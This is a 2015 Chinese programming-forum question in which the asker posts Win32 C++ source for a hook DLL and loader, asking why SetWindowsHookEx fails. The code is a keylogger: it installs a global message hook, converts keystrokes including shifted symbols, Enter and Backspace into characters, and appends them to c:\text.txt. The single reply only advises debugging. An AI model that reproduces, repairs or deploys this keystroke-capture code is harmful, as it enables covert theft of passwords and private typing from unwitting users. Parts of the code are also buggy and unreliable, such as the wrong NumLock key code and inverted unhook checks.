nashuidian 2015-05-13 03:59 采纳率: 0%
浏览 1876

win32 sdk钩子函数问题,请大家解决

安装钩子函数不能成功?为什么
我在网上找了,但是没找到解决方法,是我弄错了吗
加载动态链接库能成功,可是安装钩子不能成功??

这是头文件 hookdll.h

 #ifndef        HOOKDLL_H
#define     HOOKDLL_H
    extern "C" bool _declspec(dllexport)EndHook(void);
    extern "C" bool _declspec(dllexport)StartHook(void);
#endif

这是动态链接库文件hookdll.cpp

 #include   "hookdll.h"
#include    <stdio.h>
#include    <stdlib.h>
#include    <string.h>
#include    <windows.h>
//#include  "hookdll.h"
#define     MAX     256
#define     FILE    "c:\\text.txt"

HHOOK   kg_hHook;
HINSTANCE   hInstance;


bool    DataToFile(char* p){
    DWORD   dWrite = 0;
    HANDLE  hFile = CreateFile(FILE,GENERIC_WRITE|GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
    if(hFile == INVALID_HANDLE_VALUE){
        printf("CreateFile failed: %d\n",GetLastError());
        return false;
    }
    if(SetFilePointer(hFile,0,0,FILE_END) == HFILE_ERROR){
        printf("SetFilePointer failed: %d\n",GetLastError());
        return false;
    }
    if(WriteFile(hFile,p,strlen(p),&dWrite,0) == 0){
        printf("WriteFile failed: %d\n",GetLastError());
        return false;
    }
    CloseHandle(hFile);
    return true;
}


LRESULT CALLBACK    KeyHookProc(int nCode,WPARAM    wParam,LPARAM lParam){
    if(nCode < 0)
        return CallNextHookEx(kg_hHook,nCode,wParam,lParam);
    if(nCode == HC_ACTION){
        MSG* pEventMsg = (MSG*)lParam;
        if(pEventMsg->message == WM_KEYDOWN){
            int vKey = pEventMsg->wParam;
            char    ch;
            char    Buff[10];
            memset(Buff,0x00,10);
            const int keyMask = 0x80000000;
            int iShift = GetKeyState(0x10);
            int iCapital = GetKeyState(0x14);
            int iNumLock = GetKeyState(0x96);
            BOOL    bShift = (iShift & keyMask) == keyMask;
            BOOL    bCapital = (iCapital & 1) == 1;
            BOOL    bNumLock = (iNumLock & 1) == 1;
            if(vKey >= 48 && vKey <= 57){
                switch(vKey){
                case 48:if(!bShift) ch = '0';else ch = ')';break;
                case 49:if(!bShift) ch = '1';else ch = '!';break;
                case 50:if(!bShift) ch = '2';else ch = '@';break;
                case 51:if(!bShift) ch = '3';else ch = '#';break;
                case 52:if(!bShift) ch = '4';else ch = '$';break;
                case 53:if(!bShift) ch = '5';else ch = '%';break;
                case 54:if(!bShift) ch = '6';else ch = '^';break;
                case 55:if(!bShift) ch = '7';else ch = '&';break;
                case 56:if(!bShift) ch = '8';else ch = '*';break;
                case 57:if(!bShift) ch = '9';else ch = '(';break;
                }
                Buff[0] = ch;   
                DataToFile(Buff);
            }
            if(vKey >= 65 && vKey <= 90){
                if(!bCapital){
                    if(bShift)
                        ch = vKey;
                    else 
                        ch = vKey + 32;
                }
                else{
                    if(bShift)
                        ch = vKey + 32;
                    else
                        ch = vKey;
                }
                Buff[0] = ch;
                DataToFile(Buff);
            }
            if(vKey >= 96 && vKey <= 105){
                if(bNumLock){
                    switch(vKey){
                    case 96: ch = '0';break;
                    case 97: ch = '1';break;
                    case 98: ch = '2';break;
                    case 99: ch = '3';break;
                    case 100:ch = '4';break;
                    case 101:ch = '5';break;
                    case 102:ch = '6';break;
                    case 103:ch = '7';break;
                    case 104:ch = '8';break;
                    case 105:ch = '9';break;
                    }
                    Buff[0] = ch;
                    DataToFile(Buff);
                }
            }
            if(vKey >= 106 && vKey <= 222){
                switch(vKey){
                case 186:if(!bShift) ch = ';';else ch = ':';break;
                case 187:if(!bShift) ch = '=';else ch = '+';break;
                case 188:if(!bShift) ch = ',';else ch = '<';break;
                case 189:if(!bShift) ch = '-';else ch = '_';break;
                case 190:if(!bShift) ch = '.';else ch = '>';break;
                case 191:if(!bShift) ch = '/';else ch = '?';break;
                case 192:if(!bShift) ch = '`';else ch = '~';break;
                case 219:if(!bShift) ch = '[';else ch = '{';break;
                case 220:if(!bShift) ch = '\\';else ch = '|';break;
                case 221:if(!bShift) ch = ']';else ch = '}';break;
                case 222:if(!bShift) ch = '\'';else ch = '\"';break;
                default:
                    break;
                }
                Buff[0] = ch;
                DataToFile(Buff);
            }
            switch(vKey){
            case 8: strcpy(Buff,"[BK]");
                    DataToFile(Buff);
                    break;
            case 13:
                    strcpy(Buff,"[enter]");
                    DataToFile(Buff);
                    break;
            default:
                    break;
            }
        }
    }
    return CallNextHookEx(kg_hHook,nCode,wParam,lParam);
}


bool    StartHook(void){
    if(kg_hHook)
        return false;
    kg_hHook = SetWindowsHookEx(WH_GETMESSAGE,KeyHookProc,hInstance,NULL);
    if(kg_hHook)
        return true;
    return false;
}

bool    EndHook(void){
    if(!kg_hHook)
        return false;
    if(UnhookWindowsHookEx(kg_hHook))
        return true;
    return false;
}


DWORD   WINAPI  DllMain(HANDLE hModule,DWORD    ul_reason_for_call,LPVOID lpResvered){
    hInstance = (HINSTANCE)hModule;
    switch(ul_reason_for_call){
    case    DLL_PROCESS_ATTACH:
        printf("DLL_PROCESS_ATTACH\n");
        break;
    case    DLL_PROCESS_DETACH:
        if(!kg_hHook) UnhookWindowsHookEx(kg_hHook);
        printf("DLL_PROCESS_DETACH\n");
        break;
    case    DLL_THREAD_ATTACH:
        printf("dll_thread_attach\n");
        break;
    case    DLL_THREAD_DETACH:
        if(!kg_hHook) UnhookWindowsHookEx(kg_hHook);
        printf("dll_thread_detach\n");
        break;
    default:
        break;
    }
    return true;
}

这是调用文件

 #include   <stdio.h>
#include    <stdlib.h>
#include    <windows.h>
typedef     bool(*starthook)(void);

int     main(void){
    HINSTANCE   hDll = LoadLibrary("hookdll.dll");
    starthook startHook;
    if(hDll)
        startHook = (starthook)GetProcAddress(hDll,"StartHook");
    else
        printf("error\n");
    if(!startHook)
        printf("errpr\n");
    else
        startHook();
    return 0;
}

困扰了我好久。。。请大家解决

  • 写回答

2条回答

  • 不是阿尔伯特 2015-05-13 04:02
    关注

    你的问题在哪一步。。。调试一下,看看问题出在哪里。再来讨论为什么会出问题

    评论

报告相同问题?

悬赏问题

  • ¥15 #MATLAB仿真#车辆换道路径规划
  • ¥15 java 操作 elasticsearch 8.1 实现 索引的重建
  • ¥15 数据可视化Python
  • ¥15 要给毕业设计添加扫码登录的功能!!有偿
  • ¥15 kafka 分区副本增加会导致消息丢失或者不可用吗?
  • ¥15 微信公众号自制会员卡没有收款渠道啊
  • ¥100 Jenkins自动化部署—悬赏100元
  • ¥15 关于#python#的问题:求帮写python代码
  • ¥20 MATLAB画图图形出现上下震荡的线条
  • ¥15 关于#windows#的问题:怎么用WIN 11系统的电脑 克隆WIN NT3.51-4.0系统的硬盘